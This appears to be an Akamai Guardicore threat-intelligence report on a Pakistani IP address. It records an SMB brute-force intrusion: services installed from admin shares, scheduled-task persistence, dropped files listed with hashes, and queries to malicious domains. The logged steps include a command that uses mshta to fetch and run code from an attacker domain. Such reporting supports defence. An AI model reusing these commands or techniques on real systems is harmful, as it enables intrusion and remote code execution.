Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 39.53.238.144Previously Malicious

IP Address: 39.53.238.144Previously Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

SMB Null Session Login Service Start Execute from Share Service Deletion CMD System File Modification Successful SMB Login Driver Creation SMB Driver Configuration Download and Execute Service Creation Download File SMB Share Connect Service Stop Service Configuration

Associated Attack Servers

i.haqo.net ii.haqo.net ip.42.pl p.abbny.com pp.abbny.com w.beahh.com

36.37.88.167 196.219.95.172

Basic Information

IP Address

39.53.238.144

Domain

-

ISP

-

Country

Pakistan

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2023-01-22

Last seen in Akamai Guardicore Segmentation

2023-01-22

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Correct Password (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

C:\twcdkkRp.exe was downloaded

Download File

c:\windows\system32\services.exe installed and started \\server-backup\c$\twcdkkrp.exe as a service named CAsd under service group None

Service Start Service Creation

twcdkkrp.exe was executed from the remote share \\server-backup\c$

Execute from Share

Service CAsd was stopped

Service Stop

c:\windows\system32\services.exe installed and started cmd as a service named PLTP under service group None

Service Start Service Creation

The file c:\windows\system32\drivers\svchost.exe was downloaded and executed 4 times

Download and Execute

c:\windows\system32\services.exe installed and started cmd as a service named DXDX under service group None

Service Start Service Creation

Service DXDX was stopped

Service Stop

The file C:\windows\temp\svchost.exe was downloaded and executed 6 times

Download and Execute

Process c:\installed2.exe started listening on ports: 65533

Listening

System file C:\WINDOWS\system32\wbem\AutoRecover\88744D2A29102FC88ECF505DD2E984FC.mof was modified

System File Modification

The file C:\WINDOWS\Temp\_MEI12362\python27.dll was downloaded and loaded by c:\windows\temp\_mei12362\python27.dll

Download and Execute

The file C:\WINDOWS\Temp\_MEI12362\msvcr90.dll was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

c:\windows\temp\ttt.exe set the command line C:\WINDOWS\system32\wmiex.exe to run using Persistency - Logon

Persistency - Logon

c:\windows\system32\services.exe installed and started c:\windows\system32\wmiex.exe as a service named WebServers under service group None

Service Start Service Creation

Process c:\windows\temp\svchost.exe started listening on ports: 60124

Listening

The file c:\windows\system32\wmiex.exe was downloaded and executed 2 times

Download and Execute

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 3 times

SMB Brute Force Successful SMB Login

c:\windows\system32\services.exe installed and started \\server-backup\c$\ickxawux.exe as a service named dihO under service group None

Service Start Service Creation

The command line C:\WINDOWS\system32\cmd.exe /c C:\WINDOWS\system32\wmiex.exe was scheduled to run by modifying C:\WINDOWS\Tasks\WebServers.job

The file C:\WINDOWS\system32\drivers\taskmgr.exe was downloaded and executed

Download and Execute

c:\installed2.exe set the command line C:\WINDOWS\system32\drivers\svchost.exe| to run using Persistency - Logon

Persistency - Logon

ickxawux.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started c:\windows\system32\drivers\svchost.exe as a service named Ddriver under service group None 2 times

Service Start Service Creation

Service dihO was stopped

Service Stop

C:\windows\temp\tmp.vbs was downloaded

Download File

The command line C:\WINDOWS\system32\cmd.exe /c C:\WINDOWS\system32\drivers\svchost.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Ddrivers.job

Process c:\windows\system32\drivers\svchost.exe started listening on ports: 65533

Listening

C:\PdrCEnMH.exe was downloaded

Download File

c:\windows\system32\services.exe installed and started \\server-backup\c$\pdrcenmh.exe as a service named UhWf under service group None

Service Start Service Creation

pdrcenmh.exe was executed from the remote share \\server-backup\c$

Execute from Share

Process c:\windows\system32\wmiex.exe attempted to access suspicious domains: ii.haqo.net

DNS Query Access Suspicious Domain

The file C:\WINDOWS\Temp\_MEI26362\python27.dll was downloaded and loaded by c:\windows\temp\_mei26362\python27.dll

Download and Execute

The file C:\WINDOWS\Temp\_MEI26362\msvcr90.dll was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

c:\windows\system32\services.exe installed and started system32\drivers\tcpip6.sys as a service named Tcpip6 under service group None

Driver Start Service Creation

C:\WINDOWS\Temp\tmp.vbs was downloaded

Download File

System file C:\WINDOWS\security\Database\secedit.sdb was modified

System File Modification

c:\windows\system32\services.exe installed and started %systemroot%\system32\6to4svc.dll as a service named 6to4 under service group NetworkService

Service Start Service Creation

Process c:\windows\system32\drivers\svchost.exe attempted to access suspicious domains: i.haqo.net

DNS Query Access Suspicious Domain

Service UhWf was stopped

Service Stop

c:\windows\system32\services.exe installed and started system32\drivers\smb.sys as a service named Smb under service group None

Driver Start Service Creation

Process c:\windows\temp\svchost.exe started listening on ports: 60124 2 times

Listening

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.beahh.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

The command line C:\Windows\temp\svchost.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autoscan.job

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.beahh.com

DNS Query Access Suspicious Domain

The file C:\WINDOWS\Temp\_MEI38642\python27.dll was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

The file C:\WINDOWS\Temp\_MEI38642\msvcr90.dll was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

C:\onOmOWpf.exe was downloaded

Download File

Process c:\windows\temp\svchost.exe attempted to access suspicious domains: ip.42.pl

DNS Query Access Suspicious Domain

c:\windows\system32\services.exe installed system32\drivers\tunmp.sys as a service named tunmp under service group None

Service Creation

Connection was closed due to timeout

c:\windows\system32\services.exe installed \\server-backup\c$\onomowpf.exe as a service named rEDw under service group None

Service Creation

Associated Files

C:\WINDOWS\system32\drivers\taskmgr.exe

SHA256: 01b842cab76c78a1d9860ade258923772fe3b08ae7a428d5f54e1bf9d9c3b205

49200 bytes

C:\windows\temp\svchost.exe

SHA256: 052dd62696a7700fef3161e3686d1ae789a3b621ad8f457c210b8141406a5654

3250000 bytes

C:\Windows\temp\svchost.exe

SHA256: 34ca224a7f58f1c555e4d0d003e6e19ae2b25f31252fc786f2f023c7aa5d0bdf

5070000 bytes

C:\aChIckvc.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes